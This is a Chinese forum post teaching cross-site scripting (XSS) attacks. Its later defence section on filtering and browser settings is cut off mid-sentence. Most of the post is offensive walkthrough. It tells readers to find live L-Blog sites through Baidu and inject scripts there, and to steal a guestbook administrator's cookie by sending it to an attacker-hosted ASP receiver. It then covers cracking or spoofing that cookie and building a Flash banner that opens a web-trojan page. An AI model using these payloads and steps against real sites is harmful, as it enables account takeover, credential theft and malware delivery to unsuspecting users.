返回列表 发帖

XSS知识

什么是跨站漏洞?跨站漏洞是由于程序员在编写程序时对一些变量没有做充分的过滤,直接把用户提交的数据送到SQL语句里执行,这样导致用户可以提交一些特意构造的语句 一般都是带有像JavaScript等这类脚本代码。在这基础上,黑客利用跨站漏洞输入恶意的脚本代码,当恶意的代码被执行后就形成了所谓的跨站攻击。一般来说对于人机交互比较高的程序,比如论坛,留言板这类程序都比较容易进行跨站攻击。
利用跨站漏洞黑客可以在网站中插入任意代码,这些代码的功能包括获取网站管理员或普通用户的cookie,隐蔽运行网页木马,甚至格式化浏览者的硬盘,只要脚本代码能够实现的功能,跨站攻击都能够达到,因此跨站攻击的危害程度丝毫不亚于溢出攻击,下面我们就来了解一下跨站攻击的主要攻击形式。

一.跨站攻击常用的脚本代码

跨站攻击都是通过脚本代码来实现的,通过写入不同的脚本代码来实现不同的功能,跨站攻击中常用的脚本代码有如下几段:
<script>alert("网站存在跨站漏洞");</script>,当用户浏览到插入有这句代码的网页时,将会弹出一个警告对话框,对话框中的内容为“网站存在跨站漏洞”,内容部分可以随意更改。
<script>window.alert(document.cookie);</script>,这句代码将会弹出一个包含有浏览者cookie信息的对话框,如果用户已经通过帐号登陆网站,在显示的cookie信息中将会包含有用户的账户名和密码。
<script>window.open('http://www.pete.cn/default.asp','newwindow','width=200,height=200');</script>,当用户浏览该页时,将弹出一个高为200,宽为200的网页窗口,在其中打开的页面是http://www.pete.cn/default.asp

上面这些跨站攻击时常用的脚本代码,和我们平时使用的一些代码并无两样,为什么到了黑客手中却是一件武器?这些代码又是如何在跨站攻击中发挥强大作用的呢?下面我们将通过几个实例,来了解跨站攻击的主要形式和这些脚本代码在攻击过程中的作用。

二.跨站攻击的简单实例

首先我们得找到有跨站漏洞的程序,这类程序很多,例如论坛、博客、留言板程序,其中很大一部分都存在跨站漏洞。例如第6期报纸上我们曾检测过的L-blog,由于其申请友情连接的文件对特殊字符过滤不严,形成跨站漏洞,在其友情连接的说明文本框中可以输入跨站脚本代码,从而造成跨站攻击。
通过百度以“L-Blog V1.10 AIO”为关键字进行搜索,可以找到很多该版本的L-Blog程序,进入L-blog的主页,在页面下方找到“首页友情链接”,点击“更多友情链接”进入其友情链接的设置界面。在其链接的“名称”文本框中输入“<script>alert("网站存在跨站漏洞");</script>”(不带引号,下同),“地址”一栏可以随便填,最后点击“提交你的站点”。这样我们就将跨站脚本写入了数据库,接下来要做的就是等待管理员验证链接申请。
当管理员登陆L-blog的后台管理,点击“链接验证”选项后就会运行我们的跨站脚本,弹出一个警告对话框。当然我们这里的脚本代码只是起到提醒作用,并没有任何破坏性。如果插入的是恶意的脚本代码,后果将严重得多。
图1.弹出警告对话框

三.通过跨站攻击获取cookie

cookie包含着用户的重要信息,包括用户在这个网站上的ID,密码、浏览过的网页、停留的时间等信息。跨站攻击的最主要危害就是可以获取用户的cookie,包括网站上所有用户的账户名和密码,管理员也不例外。一但黑客从管理员的cookie文件中破解出密码原文,那么网站很可能被黑客渗透。
本例我们以一款著名的留言板程序——桃源多功能留言板 V2.0来进行演示,该版本的“桃源多功能留言板”程序在用户注册文件和用户资料文件中皆存在跨站漏洞。我们先注册一个用户,注册的时候在“个人主页”一项的文本框中输入“http://<script>window.alert(.);</script>”,其他项可以随便填。这样当管理员点击首页上的“用户管理”链接时将会运行我们的跨站脚本代码,同时会弹出管理员自己的cookie信息。
虽然管理员可以看见自己的cookie信息,但是黑客又是如何得到管理员的cookie信息的呢?这就需要我们构造一个用来接收cookie信息的文件,并在跨站的脚本代码上进行相应的修改。
首先新建一个文本文档,在文档中写入接收cookie信息文件的内容,代码内容如图2所示。然后将这个文本文档保存为test.asp,并上传到一个支持asp的网页空间(空间必须支持FSO组件,否则测试将不能成功)。回到“桃源多功能留言板”,点击“修改资料”,将其中的“个人主页”一项修改为“http://<script>window.open('http://...g='+.)</script>”。
图2.接受cookie信息的文件
当管理员运行这段脚本代码后,并不会弹出自己的cookie信息,甚至没有任何提示,因此隐蔽性很高。在此期间,我们已经准确地获取到了管理员的cookie信息。接收到的cookie信息会保存为“日期+时间”形式的文件。
图3.截获到的管理员cookie信息
在cookie信息中包含着管理员的账户名和密码,虽然密码是用MD5加密算法进行加密的,但是仍可以通过暴力破解得到密码的原文,对于一些不是很强壮的密码,则可以在很短的时间内得出。此外还可以通过cookie欺骗的方法登陆网站,进行一些只有管理员才能进行的操作。

四:flash文件中的跨站陷阱
跨站攻击的形式是多样的,不仅可以在网页中插入跨站脚本代码,而且可以在flash文件中插入跨站脚本代码,实现跨站攻击。由于flash文件有较高的安全性,用户通常对flash文件的警惕性不够,因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网页中,例如制作成网页banner或者广告,那么中招的用户将更多。
flash跨站是通过在flash文件中插入动作脚本来实现的,通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击,其实现方法入下:
首先运行flash文件制作工具flash8.exe,新建一个空白的flash文档。然后选中其中的第一帧,进入界面下方的“动作”编辑界面,在Action Script中插入我们的跨站脚本代码:
getURL("http://网页木马地址", "_blank", "GET");
loadMovieNum("http://www.pete.cn/test.swf", 0);
图4.插入跨站脚本代码
其中第一句可以让打开这个flash文件的用户运行网页木马,而后面一句的作用是打开一个普通的flash文件,目的是为了不引起用户怀疑。制作完毕后点击“文件”菜单→“导出”→“导出影片”,将这个flash文件导出为swf格式即可。用户运行这个flash文件后将会打开含有木马的网页。

五.防范跨站攻击
跨站攻击相对于其他网络攻击而言显得更隐蔽,也更难防范。很多时候问题并不出在用户身上,而是由于网站的问题,即使我们装了防火墙,也对跨站攻击无能为力,因此防范跨站攻击我们得从两方面入手,即网站方面和个人用户方面:
1.过滤特殊字符
在网站程序处过滤特殊字符,这是防范跨站脚本攻击最为有效和彻底的方法。在不影响网站程序正常运行的前提下,我们可以在网站程序的表单输入处过滤掉“javascript”、“<script>”、“#”、“&”等字符,这样就可以防范大部分的跨站攻击。
2.限制输入字符的长度
对于一些可以进行跨站攻击的表单对象中,我们可以限制其输入字符的长度。跨站脚本代码往往较长,如果限制了输入字符长度,也可以起到很好的防范作用。这个功能可以在数据库中设置,也可以编写一段程序代码来实现。
3.限制用户上传flash文件
使用flash文件进行跨站攻击可谓防不胜防,如果不能检测用户上传的flash文件的安全性,索性限制用户上传flash文件,以彻底阻断flash跨站攻击的途径。
4.提高IE浏览器的安全等级
个人用户防范跨站攻击有一定的难度,但仍可以通过设置来降低被攻击的概率。运行IE浏览器,选择“工具”菜单→“Internet 选项”,切换到“安全”标签,将安全级别设置为高,同时可以在“自定义”中进行详细的设置,将一些不需要运行的脚本禁用。但是这样设置后会造成一些正常的页面无法打开,如何取舍就看各位了。
图5.提高浏览器的安全等级
5.增强安全意识和防范措施
安装杀毒软件是必须的,碰到那些插入网页木马的跨站攻击,即使跨站成功,我们运行了网页木马,杀毒软件仍能在最后一步将木马拦截下来。此外,用户需要“收敛”对那些具有诱惑力链接的好奇心,同时“吝啬”自己的鼠标点击,不轻易点击陌生链接。在不同的地方使用不同的密码,即使黑客通过跨站攻击获取了你的cookie,并破解出了你的密码原文,这样你损失的也只是一个账户而已,不至于全军覆

返回列表